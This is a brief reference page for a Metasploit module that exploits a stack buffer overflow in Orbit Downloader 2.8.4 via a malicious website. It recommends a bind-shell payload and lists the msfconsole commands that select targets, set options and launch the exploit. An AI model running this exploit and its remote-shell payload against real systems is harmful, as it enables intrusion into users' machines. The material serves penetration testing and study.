This module exploits a stack buffer overflow in Orbit Downloader 2.8.4. When an attacker serves up a malicious web site, arbitrary code may be executed. The PAYLOAD windows/shell_bind_tcp works best.
Windows
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/windows/browser/orbit_connecting
msf exploit(orbit_connecting) > show targets
...targets...
msf exploit(orbit_connecting) > set TARGET < target-id >
msf exploit(orbit_connecting) > show options
...show and set options...
msf exploit(orbit_connecting) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
